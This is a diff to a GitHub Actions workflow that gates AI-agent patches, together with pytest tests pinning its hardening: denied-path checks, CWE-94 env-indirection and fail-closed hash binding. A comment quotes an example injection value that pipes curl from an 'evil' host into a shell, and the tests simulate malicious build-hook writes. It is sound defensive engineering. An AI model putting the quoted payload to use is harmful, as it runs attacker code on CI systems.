# secrets, no App token, no write token, egress blocked. There is nothing here to
# steal and nothing to assume. It writes a report artifact consumed by the
# privileged gate as DATA — that report is NOT authoritative (boundary 4).
# Depends on `guard` so a denied/tampered diff never reaches execution.
@ -454,6 +490,10 @@ jobs:
with:
name: ${{ inputs.diff_artifact_name }}
path: ./_incoming
# Same-run pin as the guard job: the bytes applied here must be the
# bytes uploaded in THIS run, not an artifact substituted from another
# run. The pre-apply hash re-check below is the second layer.
run-id: ${{ github.run_id }}
- name: Re-verify diff hash before apply (defense-in-depth)
env:
@ -492,6 +532,17 @@ jobs:
# touch only this ephemeral runner.
git apply --check ./_incoming/candidate.diff
git apply ./_incoming/candidate.diff
# Commit the patched tree to a throwaway local commit so the working
# tree is CLEAN before the build runs. This is the baseline the
# post-build denied-path check diffs against: the guard job already
# vetted the candidate diff's paths, so by committing it we isolate
# whatever the BUILD HOOK itself writes (a malicious setup.py /
# conftest / build script that drops a file into a denied path). Local
# commit only — this job has no write credential, nothing is pushed.
git config user.email "agent-apply@local.invalid"
git config user.name "agent-apply build sandbox"
git add -A
git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true
- name: Set up Python
uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0
@ -513,16 +564,284 @@ jobs:
ruff check . || echo "ruff non-zero (recorded, non-authoritative)"
pytest -q || echo "pytest non-zero (recorded, non-authoritative)"
- name: Post-build denied-path check (build hook may not write the trust surface)
if: always()
env:
DECLARED_SCOPE: ${{ inputs.declared_scope }}
run: |
set -euo pipefail
# SECURITY (boundary 2, build-hook variant). The guard job vetted the
# candidate DIFF's paths, but a build/test hook (setup.py, a conftest,
# an npm postinstall, a Makefile) running in THIS untrusted job can
# ALSO write files — including into the trust-control surface or out of
# the declared scope. We committed the patched tree as the baseline
# above, so anything that differs now is build-hook output. We FAIL the
# job if any of it lands on a denied path or outside scope.
#
# FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious
# build hook can write a file whose name contains a tab/space/quote/
# NEWLINE; a `git status --porcelain | sed` + newline-split pipeline
# would either mangle or split such a name and let it evade the path
# match. So we emit machine-readable NUL-delimited records:
# * `git status --porcelain=v1 -z --untracked-files=all` (each entry
# is `XY <path>` and, for renames, `XY <new>\0<old>` — two NUL
# fields), and
# * `git diff -z --name-only HEAD` (NUL-separated tracked paths),
# and Python splits on NUL and parses rename entries explicitly. We also
# set `core.quotepath false` so git never C-quotes/escapes UTF-8 or
# special bytes in path output (belt-and-suspenders). No backslash
# mangling is done anywhere. A path that cannot be cleanly decoded is
# treated as a VIOLATION (fail closed).
git config core.quotepath false
git diff -z --name-only HEAD > ./_build_diff_z.bin || true
git status --porcelain=v1 -z --untracked-files=all > ./_build_status_z.bin || true
python3 - <<'PY'
from __future__ import annotations
import os
import posixpath
import re
import sys
# SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2,
# INJ-03 union superset). All three are byte-for-byte identical and
# test_apply_verify_workflow_hardening asserts it; edit all three.
DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**",
".github/actions/**",
".github/CODEOWNERS",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
".github/settings.yml",
"**/cdk.json",
"**/template.yml",
"**/template.yaml",
"**/samconfig.toml",
"**/*.tf",
"**/*-stack.ts",
"**/*_stack.py",
"**/iam/**",
"**/policies/**",
"**/*iam*",
"**/policy*.json",
"**/*policy*.json",
"**/*.pem",
"**/*.key",
)
_GLOB_META = set("*?[]")
def canonical(path: str) -> str:
# FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false,
# so they are RAW: real '/' separators and no C-quoting. We do NOT
# do `.replace("\\","/")` backslash mangling (a backslash is a literal
# filename byte here) and do NOT strip quotes (git did not add any).
# We only reject leading/trailing whitespace-only and escaping paths.
p = path
if not p:
raise ValueError("empty path")
norm = posixpath.normpath(p)
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
raise ValueError(f"path escapes repo root: {path!r}")
return norm
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
out: list[str] = []
i, n = 0, len(glob)
while i < n:
if glob[i : i + 3] == "**/":
out.append(r"(?:.*/)?")
i += 3
elif glob[i : i + 2] == "**":
out.append(r".*")
i += 2
elif glob[i] == "*":
out.append(r"[^/]*")
i += 1
elif glob[i] == "?":
out.append(r"[^/]")
i += 1
else:
out.append(re.escape(glob[i]))
i += 1
return re.compile("^" + "".join(out) + "$", re.IGNORECASE)
_DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS)
def denied(path: str) -> bool:
return any(p.match(path) for p in _DENY_RES)
def _scope_prefix(entry: str) -> str | None:
keep: list[str] = []
for part in entry.split("/"):
if any(c in _GLOB_META for c in part):
break
keep.append(part)
prefix = "/".join(keep)
return prefix or None
def safe_scope(scope: list[str]) -> list[str]:
safe: list[str] = []
for g in scope:
try:
canon = canonical(g)
except ValueError:
continue
prefix = _scope_prefix(canon)
if prefix is not None and prefix not in safe:
safe.append(prefix)
return safe
def in_scope(path: str, scope: list[str]) -> bool:
return any(path == e or path.startswith(e + "/") for e in scope)
def _read_z(path: str) -> list[bytes]:
"""Read a NUL-delimited file into a list of byte records (no trailing empty)."""
try:
with open(path, "rb") as fh:
blob = fh.read()
except FileNotFoundError:
return []
if not blob:
return []
parts = blob.split(b"\x00")
if parts and parts[-1] == b"":
parts.pop()
return parts
def _decode(field: bytes) -> str | None:
"""Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded."""
try:
return field.decode("utf-8")
except UnicodeDecodeError:
return None
def _diff_paths() -> tuple[list[str], list[bytes]]:
"""`git diff -z --name-only` records: each NUL field is one path."""
ok: list[str] = []
bad: list[bytes] = []
for rec in _read_z("./_build_diff_z.bin"):
dec = _decode(rec)
(ok if dec is not None else bad).append(dec if dec is not None else rec)
return ok, bad
def _status_paths() -> tuple[list[str], list[bytes]]:
"""Parse `git status --porcelain=v1 -z` records.
Each entry is `XY <path>`; a rename/copy (X or Y in R/C) is followed
by a SECOND field, the rename/copy SOURCE, in a separate NUL record.
We surface BOTH the destination and the source (a rename INTO or OUT
of a denied/out-of-scope path must be caught). A record whose path
field cannot be cleanly UTF-8 decoded is reported as a violation.
"""
ok: list[str] = []
bad: list[bytes] = []
recs = _read_z("./_build_status_z.bin")
i = 0
while i < len(recs):
rec = recs[i]
# `XY ` is a 3-byte prefix: two status codes + a space.
if len(rec) < 4:
bad.append(rec)
i += 1
continue
xy = rec[:2]
body = rec[3:]
dec = _decode(body)
(ok if dec is not None else bad).append(dec if dec is not None else body)
# Rename (R) / copy (C) in either index or worktree column carries
# a following SOURCE field as its own record — consume + check it.
if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"):
i += 1
if i < len(recs):
src = recs[i]
sdec = _decode(src)
(ok if sdec is not None else bad).append(
sdec if sdec is not None else src
)
i += 1
return ok, bad
def main() -> int:
diff_ok, diff_bad = _diff_paths()
status_ok, status_bad = _status_paths()
raw_paths = sorted(set(diff_ok) | set(status_ok))
undecodable = diff_bad + status_bad
violations: list[str] = []
# FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail
# closed) — we never silently drop or lossily replace a build-written
# filename the path match cannot reason about.
for raw in undecodable:
violations.append(
f"build hook wrote an undecodable path: {raw!r}"
)
if not raw_paths and not violations:
print("post-build check: build hook wrote no files; clean")
return 0
scope = safe_scope(
[s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
)
for raw in raw_paths:
try:
path = canonical(raw)
except ValueError:
violations.append(f"build hook wrote an escaping path: {raw!r}")
continue
if denied(path):
violations.append(f"build hook wrote a trust-control path: {path}")
elif scope and not in_scope(path, scope):
violations.append(f"build hook wrote out of declared scope: {path}")
if violations:
for v in violations:
print(f"::error::{v}")
print("::error::build hook wrote a denied/out-of-scope path; failing job")
return 1
print(f"post-build check: {len(raw_paths)} build-written path(s); all clean")
return 0
sys.exit(main())
PY
- name: Emit non-authoritative report (job conclusion is the truth)
if: always()
env:
# CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable
# (the dispatcher passes it from task state) and GitHub expands every
# `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a
# value like `"; curl evil | sh; #` would be interpolated as code and
# `%s`/quoting in printf would NOT stop it. Binding it to an env var
# and referencing it as a quoted shell variable ("$TASK_ID") means the
# shell sees it as DATA, never as script. python's json.dumps then
# encodes it safely into the report.
TASK_ID: ${{ inputs.task_id }}
run: |
set -euo pipefail
# This report is consumed by the gate as DATA for the verifier agent's
# next-fix reasoning. It is NOT the pass/fail decision — the gate reads
# the AUTHENTICATED job conclusion (boundary 4), never this file.
mkdir -p ./_report
printf '{"task_id":"%s","note":"non-authoritative; gate uses job conclusion"}\n' \
"${{ inputs.task_id }}" > ./_report/report.json
# Build the JSON with python's json encoder (reads TASK_ID from the
# environment) so the untrusted task_id cannot break out of the string
# or inject JSON structure.
python3 - <<'PY' > ./_report/report.json
import json
import os
print(
json.dumps(
{
"task_id": os.environ["TASK_ID"],
"note": "non-authoritative; gate uses job conclusion",
}
)
)
PY
- name: Upload non-authoritative report
if: always()
@ -539,33 +858,74 @@ jobs:
# keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts
# any artifact the patch wrote. Pass/fail is pure code here, not the LLM.
#
# NOTE: the OIDC/write grant is declared here as the eventual home of the
# privileged step, but this file is deploy-gated — the `id-token`/PR-open
# step is left as a documented placeholder so nothing is provisioned until the
# §3.3.2 review gates pass. Wiring the real OIDC role is Phase P3 / Phase 5
# AFTER the mandatory GPT-4.1 cross-review of the IAM.
# AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN
# with `pull-requests: write` — ZERO cloud credentials, no token-federation.
# The token is minted at run
# time by actions/create-github-app-token (SHA-pinned) from the App id +
# private key held as repo/org secrets, and is scoped to exactly the grant the
# App installation has. The required HUMAN reviewer that must approve before
# this job's `environment` runs is configured on the `agent-apply` GitHub
# Environment at PROVISIONING (it cannot be expressed in YAML — see the
# provisioning runbook). This job NEVER checks out or executes patch code: it
# reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass
# opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`)
# until provisioning creates the App + environment + branch protection; the
# flip is the single remaining provisioning action.
# ───────────────────────────────────────────────────────────────────────────
gate-and-pr:
needs: [guard, build-test]
# `always()` so the gate runs even when build-test failed, to record the
# authoritative conclusion. The gate itself decides pass/fail from results.
if: always()
# Defense-in-depth: the privileged job NEVER runs on a failed/skipped/
# cancelled guard or build-test. We still want it to run on a build-test
# FAILURE only to record the authoritative conclusion — but until
# provisioning this job holds ZERO privilege and does ZERO privileged work
# (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`),
# so gating on both upstream jobs succeeding is the safe posture: a test
# dispatch today runs only the credential-less guard + build-test. At
# provisioning, revisit whether to relax to `always()` to record failures.
if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success'
runs-on: ubuntu-latest
timeout-minutes: 5
# PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged
# declarations must be PROVISIONING-time, not live: an `environment:` that
# does not exist yet and a `pull-requests: write` grant are unprotected holes
# if declared before the `agent-apply` environment (with its required
# reviewer) is created. So both stay COMMENTED here — the exact deploy-gated
# pattern the removed cloud token-federation grant used — and are uncommented
# at provisioning AFTER the environment exists. Today this job is
# credential-less and runs ONLY the pure-code gate.
#
# The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED
# REVIEWER (and optional wait timer / branch policy) is configured on the
# Environment at PROVISIONING — GitHub holds the job here until a human
# approves. This cannot be authored in YAML; the `environment:` reference is
# the hook the provisioning step attaches the reviewer to.
# environment: # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
# name: agent-apply # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
permissions:
contents: read
# pull-requests: write # ← enabled ONLY after the §3.3.2 review gates.
# id-token: write # ← OIDC for the Option-B apply role, post-gate.
# uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
# The ONLY privileged grant: open a draft PR. Kept COMMENTED until
# provisioning so the job holds ZERO privilege on a test dispatch today;
# the draft-PR + app-token STEPS also stay `if: ${{ false }}` until then.
# pull-requests: write
# NOTE: there is deliberately NO token-federation permission here — this
# workflow uses a GitHub App installation token only, no cloud provider.
steps:
- name: Harden runner (privileged job; block egress)
uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
with:
# DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr
# create). Trim/confirm per target repo at provisioning — an
# over-broad allowlist weakens the egress boundary even on the
# privileged job. No cloud endpoints: the auth model is a GitHub App
# token only, with no cloud token-federation.
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
- name: Pure-code pass/fail gate over authenticated results
id: gate
env:
# These come from GitHub's job orchestration, NOT from the patch.
GUARD_RESULT: ${{ needs.guard.result }}
@ -604,7 +964,19 @@ jobs:
"""
if not run_id:
return False, "missing run id; cannot bind decision to a run"
if diff_hash.strip().lower() != expected_hash.strip().lower():
# FAIL-CLOSED on an empty/missing hash. Without this guard an empty
# guard-exported hash AND an empty expected hash compare equal
# ('' == ''), so a run where the hash binding never populated would
# SILENTLY satisfy the binding check — empty must never count as a
# match. Require both sides present (and equal) before binding holds.
g = diff_hash.strip().lower()
e = expected_hash.strip().lower()
if not g or not e:
return False, (
"empty/missing hash; refusing to bind "
f"(guard={diff_hash!r} expected={expected_hash!r})"
)
if g != e:
return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}"
if guard_result != "success":
return False, f"guard did not pass: {guard_result!r}"
@ -632,10 +1004,69 @@ jobs:
sys.exit(main())
PY
- name: Open DRAFT PR (DEPLOY-GATED PLACEHOLDER — not enabled)
if: ${{ false }} # ← hard-disabled. Enable only after §3.3.2 review gates.
- name: "Mint GitHub App installation token (pull-requests write only)"
id: app-token
# Hard-disabled with the draft-PR step until provisioning: minting a
# token against an App that does not exist yet would fail, and there is
# nothing to do with it while the PR step is off. The condition is the
# SAME target as the draft-PR step so the two flip together.
if: ${{ false }} # ← flip with the draft-PR step at provisioning (see below).
uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0
with:
# PROVISIONING: create the GitHub App (single permission:
# `pull-requests: write`), install it on the target repo, and store
# its id + private key as these secrets. The minted token is scoped to
# exactly the App installation's grant — narrower than a PAT, and it
# auto-expires (~1h). No cloud credentials, no token-federation.
app-id: ${{ secrets.AGENT_APPLY_APP_ID }}
private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }}
- name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only)
# belt-and-suspenders: even once flipped, the draft PR opens ONLY on a
# clean authenticated pass. Target condition for the provisioning flip:
#
# if: >-
# always()
# && needs.guard.result == 'success'
# && needs.build-test.result == 'success'
# && steps.gate.outputs.gate == 'pass'
#
# Flip to that condition ONLY after the `agent-apply` environment + the
# GitHub App are provisioned and branch protection is in place (see the
# provisioning runbook). Flipping live against a non-existent environment
# is an unprotected hole, so it stays `${{ false }}` here.
if: ${{ false }} # ← hard-disabled until provisioning (see comment above).
env:
# The App installation token (pull-requests: write). gh reads it from
# GH_TOKEN. Untrusted values used below are env-indirected (CWE-94).
GH_TOKEN: ${{ steps.app-token.outputs.token }}
TASK_ID: ${{ inputs.task_id }}
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
# The repo the PR is opened in (the App installation's repo).
GH_REPO: ${{ github.repository }}
run: |
echo "Draft-PR open runs here AFTER the mandatory GPT-4.1 cross-review"
echo "+ /sh-security-review of this workflow and its OIDC role."
echo "Draft PR only; never auto-merge (D2). Branch protection is the"
echo "final enforcement (boundary 5)."
set -euo pipefail
# Draft PR ONLY; never auto-merge (D2). Branch protection + the
# required reviewer on the agent-apply environment + the security
# review + the Claude Code App review are the final enforcement
# (boundary 5). The agent NEVER merges. task_id / diff_hash are read
# from the environment (not interpolated into this script) so an
# untrusted task_id cannot inject shell.
#
# NOTE: the dispatcher records the agent branch name in the ledger and
# passes it in at provisioning; the branch is created by the trusted
# apply path (the box has no write token, D2), so this step only OPENS
# the PR for an already-pushed agent branch. Wire `--head` to that
# branch input at provisioning.
# NIT-2: build BOTH title and body with `printf '%s'` over the
# env-indirected vars (no `${TASK_ID}` shell interpolation in one and
# printf in the other) so the two are consistent and the untrusted
# values are only ever consumed as printf data.
title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")"
body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH")"
gh pr create \
--draft \
--title "$title" \
--body "$body" \
--base main
echo "draft PR opened (task=$TASK_ID); never auto-merged."

View file

@ -0,0 +1,411 @@
"""P3-live hardening assertions over ``ci/agent-team-apply-verify.yml``.
These tests pin the security-critical posture of the apply/verify workflow so a
later edit cannot silently regress it:
* NO attacker-influenceable ``${{ inputs.* }}`` / ``${{ github.event.* }}`` value
is interpolated directly into a ``run:`` block (CWE-94) — every such value must
reach a ``run`` step via an ``env:`` binding instead.
* The workflow carries NO cloud token-federation (``id-token``) and NO AWS /
cloud-OIDC references — the auth model is a GitHub App installation token.
* The privileged draft-PR step is NOT flipped live (``if: ${{ false }}``).
* The privileged job's ``pull-requests: write`` grant and ``agent-apply``
``environment:`` are COMMENTED OUT (provisioning-time, not live), and the job
``if:`` guards on guard+build-test success; download-artifact steps are
run-id pinned.
* The embedded gate's empty-hash handling is fail-closed (extracted + executed).
* The three trust-control denylists (guard YAML, post-build YAML, ci_gate) are
identical (no drift), and the post-build NUL-delimited path parsing is robust.
"""
from __future__ import annotations
import re
import subprocess
import sys
from pathlib import Path
import pytest
yaml = pytest.importorskip("yaml")
_WORKFLOW = Path(__file__).resolve().parents[1] / "ci" / "agent-team-apply-verify.yml"
def _doc() -> dict:
return yaml.safe_load(_WORKFLOW.read_text(encoding="utf-8"))
def _raw() -> str:
return _WORKFLOW.read_text(encoding="utf-8")
# Attacker-influenceable interpolation contexts that must NOT appear in a `run:`.
_TAINTED_RE = re.compile(r"\$\{\{\s*(inputs\.|github\.event\.)")
def _iter_steps(doc: dict):
for job_name, job in doc["jobs"].items():
for step in job.get("steps", []):
yield job_name, step
# --------------------------------------------------------------------------- #
# CWE-94: no tainted ${{ }} interpolated directly into a run: block
# --------------------------------------------------------------------------- #
def test_no_tainted_interpolation_in_any_run_block() -> None:
offenders: list[str] = []
for job_name, step in _iter_steps(_doc()):
run = step.get("run")
if not run:
continue
if _TAINTED_RE.search(run):
offenders.append(f"{job_name}: {step.get('name', '<unnamed>')}")
assert not offenders, (
"tainted ${{ inputs.* / github.event.* }} interpolated into a run block "
f"(must go via env:): {offenders}"
)
def test_tainted_values_are_provided_via_env() -> None:
# Where a run step USES a tainted value, it must be exposed through env: and
# referenced as a shell variable. Assert the report step binds TASK_ID in env.
doc = _doc()
report_steps = [
s
for _, s in _iter_steps(doc)
if s.get("run") and "report.json" in (s.get("run") or "")
]
assert report_steps, "expected the report-emitting step to exist"
for step in report_steps:
env = step.get("env") or {}
assert "TASK_ID" in env, "report step must bind task_id via env (CWE-94)"
assert "${{ inputs.task_id }}" in env["TASK_ID"]
# And the run body must NOT interpolate inputs.task_id directly.
assert "${{ inputs.task_id }}" not in step["run"]
# --------------------------------------------------------------------------- #
# Auth model: GitHub App token, ZERO cloud federation / AWS / OIDC
# --------------------------------------------------------------------------- #
def test_no_id_token_permission_anywhere() -> None:
doc = _doc()
for job_name, job in doc["jobs"].items():
perms = job.get("permissions")
if isinstance(perms, dict):
assert "id-token" not in perms, f"{job_name} must not grant id-token"
def test_no_cloud_oidc_or_aws_references_in_workflow() -> None:
raw = _raw().lower()
for needle in ("id-token", "configure-aws-credentials", "aws-actions", "oidc"):
assert needle not in raw, f"workflow must not reference {needle!r}"
# Bare 'aws' as a standalone token (avoid matching words like 'always').
assert not re.search(r"\baws\b", raw), "workflow must not reference AWS"
def test_uses_github_app_token_action() -> None:
raw = _raw()
assert "actions/create-github-app-token@" in raw
# Pinned by full 40-char SHA (handbook Pinning Principle).
assert re.search(r"actions/create-github-app-token@[0-9a-f]{40}\b", raw), (
"create-github-app-token must be SHA-pinned"
)
# --------------------------------------------------------------------------- #
# Draft-PR step is NOT flipped live; privileged job posture
# --------------------------------------------------------------------------- #
def test_draft_pr_step_is_not_flipped_live() -> None:
doc = _doc()
pr_steps = [
s
for _, s in _iter_steps(doc)
if "draft" in (s.get("name", "").lower()) and s.get("run")
]
assert pr_steps, "expected a draft-PR step"
for step in pr_steps:
# YAML parses `${{ false }}` to the string '${{ false }}' OR bool False
# depending on quoting; both mean "disabled". Assert it is one of those,
# never an always()/success() live condition.
cond = step.get("if")
assert cond is not None, "draft-PR step must keep an explicit if-guard"
assert str(cond).strip().startswith("${{ false }}") or cond is False, (
f"draft-PR step must stay hard-disabled, got if: {cond!r}"
)
def test_gate_job_privileged_declarations_are_commented_until_provisioning() -> None:
# BLOCK-1 / FIX-4 / QUESTION-2: privileged declarations must be
# provisioning-time, not live. `pull-requests: write` and `environment:` are
# both COMMENTED OUT until the agent-apply environment exists, so a test
# dispatch today holds ZERO privilege. Assert the live job declares neither.
job = _doc()["jobs"]["gate-and-pr"]
perms = job.get("permissions") or {}
# contents: read stays active; pull-requests must NOT be granted live.
assert perms.get("contents") == "read"
assert "pull-requests" not in perms, (
"pull-requests: write must stay commented until provisioning"
)
# No live environment binding.
assert job.get("environment") is None, (
"environment: must stay commented until provisioning"
)
def test_gate_job_provisioning_lines_are_present_as_comments() -> None:
# The exact deploy-gated scaffolding must remain in the file (commented) with
# the provisioning marker, so provisioning knows what to uncomment.
raw = _raw()
assert "# pull-requests: write" in raw
assert "# environment:" in raw
assert "# name: agent-apply" in raw
assert (
raw.count(
"uncomment at provisioning AFTER the agent-apply environment is created "
"with a required reviewer"
)
>= 2
)
def test_gate_job_if_guards_on_upstream_success() -> None:
# Defense-in-depth: the privileged job never runs on a failed/skipped/
# cancelled guard or build-test.
job = _doc()["jobs"]["gate-and-pr"]
cond = str(job.get("if", ""))
assert "needs.guard.result == 'success'" in cond
assert "needs.build-test.result == 'success'" in cond
def test_download_artifact_steps_are_run_id_pinned() -> None:
doc = _doc()
dl_steps = [
s for _, s in _iter_steps(doc) if "download-artifact" in str(s.get("uses", ""))
]
assert len(dl_steps) >= 2, "expected both download-artifact steps"
for step in dl_steps:
with_ = step.get("with") or {}
assert with_.get("run-id") == "${{ github.run_id }}", (
"download-artifact must pin run-id to the current run"
)
def test_post_build_denied_path_check_present() -> None:
job = _doc()["jobs"]["build-test"]
names = [s.get("name", "") for s in job.get("steps", [])]
assert any("denied-path" in n.lower() for n in names), (
"build-test must run a post-build denied-path check"
)
# --------------------------------------------------------------------------- #
# Embedded gate empty-hash fail-closed (extract + execute the inline gate)
# --------------------------------------------------------------------------- #
def _extract_gate_script() -> str:
"""Pull the LAST ``python3 - <<'PY' ... PY`` heredoc (the pure-code gate)."""
lines = _raw().splitlines()
blocks: list[tuple[int, int]] = []
start = None
for i, line in enumerate(lines):
if start is None and line.strip() == "python3 - <<'PY'":
start = i + 1
elif start is not None and line.strip() == "PY":
blocks.append((start, i))
start = None
assert blocks, "no PY heredoc found"
# The gate is the one defining `def gate(`.
for s, e in blocks:
body = lines[s:e]
text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
if "def gate(" in text:
return text
raise AssertionError("gate heredoc not found")
def _run_gate(tmp_path: Path, env_overrides: dict) -> int:
script = tmp_path / "gate.py"
script.write_text(_extract_gate_script(), encoding="utf-8")
import os
env = dict(os.environ, **{k: str(v) for k, v in env_overrides.items()})
result = subprocess.run(
[sys.executable, str(script)], env=env, capture_output=True, text=True
)
return result.returncode
_GOOD = {
"GUARD_RESULT": "success",
"BUILD_TEST_RESULT": "success",
"DIFF_HASH": "abc",
"EXPECTED_DIFF_HASH": "abc",
"RUN_ID": "1",
}
def test_workflow_gate_passes_on_clean_bound_run(tmp_path: Path) -> None:
assert _run_gate(tmp_path, _GOOD) == 0
def test_workflow_gate_blocks_on_both_hashes_empty(tmp_path: Path) -> None:
# The empty-hash bug: '' == '' must NOT pass. Both empty -> BLOCK.
env = dict(_GOOD, DIFF_HASH="", EXPECTED_DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_empty_expected_hash(tmp_path: Path) -> None:
env = dict(_GOOD, EXPECTED_DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_empty_guard_hash(tmp_path: Path) -> None:
env = dict(_GOOD, DIFF_HASH="")
assert _run_gate(tmp_path, env) == 1
def test_workflow_gate_blocks_on_hash_mismatch(tmp_path: Path) -> None:
env = dict(_GOOD, DIFF_HASH="aaa", EXPECTED_DIFF_HASH="bbb")
assert _run_gate(tmp_path, env) == 1
# --------------------------------------------------------------------------- #
# INJ-03: the three trust-control denylists must be identical (no drift)
# --------------------------------------------------------------------------- #
def _extract_deny_globs_blocks() -> list[tuple[str, ...]]:
"""Extract every ``DENY_GLOBS: tuple[str, ...] = ( ... )`` tuple from the YAML.
The guard job and the post-build job each embed one inline copy. Returns the
parsed string tuples in file order (expected: exactly two).
"""
raw = _raw()
blocks: list[tuple[str, ...]] = []
for m in re.finditer(
r"DENY_GLOBS:\s*tuple\[str,\s*\.\.\.\]\s*=\s*\((?P<body>.*?)\)",
raw,
re.DOTALL,
):
body = m.group("body")
entries = re.findall(r'"([^"]*)"', body)
blocks.append(tuple(entries))
return blocks
def test_three_trust_control_denylists_are_identical() -> None:
from agent_team.ci_gate import DENYLIST_GLOBS
yaml_blocks = _extract_deny_globs_blocks()
assert len(yaml_blocks) == 2, (
f"expected exactly two inline YAML DENY_GLOBS (guard + post-build), "
f"found {len(yaml_blocks)}"
)
guard_globs, post_build_globs = yaml_blocks
# All three must be byte-for-byte identical (same entries, same order) so a
# future edit to one copy that drifts from the others fails CI (INJ-03).
assert guard_globs == post_build_globs == DENYLIST_GLOBS, (
"trust-control denylists have drifted:\n"
f" guard = {guard_globs}\n"
f" post-build = {post_build_globs}\n"
f" ci_gate = {DENYLIST_GLOBS}"
)
# --------------------------------------------------------------------------- #
# FIX-2 / INJ-02: robust NUL-delimited post-build denied-path parsing
# --------------------------------------------------------------------------- #
def _extract_post_build_script() -> str:
"""Pull the ``python3 - <<'PY' ... PY`` heredoc defining ``_status_paths``."""
lines = _raw().splitlines()
blocks: list[tuple[int, int]] = []
start = None
for i, line in enumerate(lines):
if start is None and line.strip() == "python3 - <<'PY'":
start = i + 1
elif start is not None and line.strip() == "PY":
blocks.append((start, i))
start = None
for s, e in blocks:
body = lines[s:e]
text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
if "_status_paths" in text:
return text
raise AssertionError("post-build NUL-parse heredoc not found")
def _run_post_build(
tmp_path: Path,
*,
diff_z: bytes = b"",
status_z: bytes = b"",
scope: str = "src/**",
) -> int:
import os
script = tmp_path / "post_build.py"
script.write_text(_extract_post_build_script(), encoding="utf-8")
(tmp_path / "_build_diff_z.bin").write_bytes(diff_z)
(tmp_path / "_build_status_z.bin").write_bytes(status_z)
env = dict(os.environ, DECLARED_SCOPE=scope)
result = subprocess.run(
[sys.executable, str(script)],
env=env,
cwd=str(tmp_path),
capture_output=True,
text=True,
)
return result.returncode
def test_post_build_clean_when_no_writes(tmp_path: Path) -> None:
assert _run_post_build(tmp_path) == 0
def test_post_build_in_scope_untracked_is_clean(tmp_path: Path) -> None:
# `?? src/new.py\0`
status = b"?? src/new.py\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 0
def test_post_build_denied_path_via_status(tmp_path: Path) -> None:
# A build hook drops a workflow file: must be caught (denied).
status = b"?? .github/workflows/evil.yml\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
def test_post_build_filename_with_newline_is_caught(tmp_path: Path) -> None:
# The whole point of NUL parsing: a filename containing a NEWLINE that lands
# out of scope must still be caught, not split/mangled into a benign name.
status = b"?? src/ok.py\x00?? evil\nname.py\x00"
# 'evil\nname.py' is out of scope (src/**) -> violation.
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
def test_post_build_rename_source_field_is_parsed(tmp_path: Path) -> None:
# porcelain v1 -z rename: `R <new>\0<old>\0`. The SOURCE field is a separate
# record; a rename whose SOURCE is a denied path must be caught.
status = b"R src/new.py\x00.github/workflows/old.yml\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**\n.github/**") == 1
def test_post_build_undecodable_path_fails_closed(tmp_path: Path) -> None:
# A path field that is not valid UTF-8 must be treated as a violation.
status = b"?? src/\xff\xfe.py\x00"
assert _run_post_build(tmp_path, status_z=status, scope="src/**") == 1
def test_post_build_diff_z_denied_path_is_caught(tmp_path: Path) -> None:
# The tracked-diff side (git diff -z --name-only) is parsed too.
diff = b"src/app.py\x00main.tf\x00"
assert _run_post_build(tmp_path, diff_z=diff, scope="src/**") == 1

View file

@ -0,0 +1,357 @@
"""Unit tests for agent_team.ci_fetcher — the read-only, fail-closed CI fetcher.
The fetcher is a pure DATA seam: on a clean authenticated run it returns the
``{run_id, conclusion, diff_hash}`` mapping the pure-code gate consumes; on ANY
error (404 / auth fail / malformed body / timeout / missing run_id / missing
token) it returns ``None`` so the gate BLOCKs (fail-closed). It NEVER derives a
verdict and NEVER writes. Everything is mocked with a fake HTTP client; no
network, no real token.
"""
from __future__ import annotations
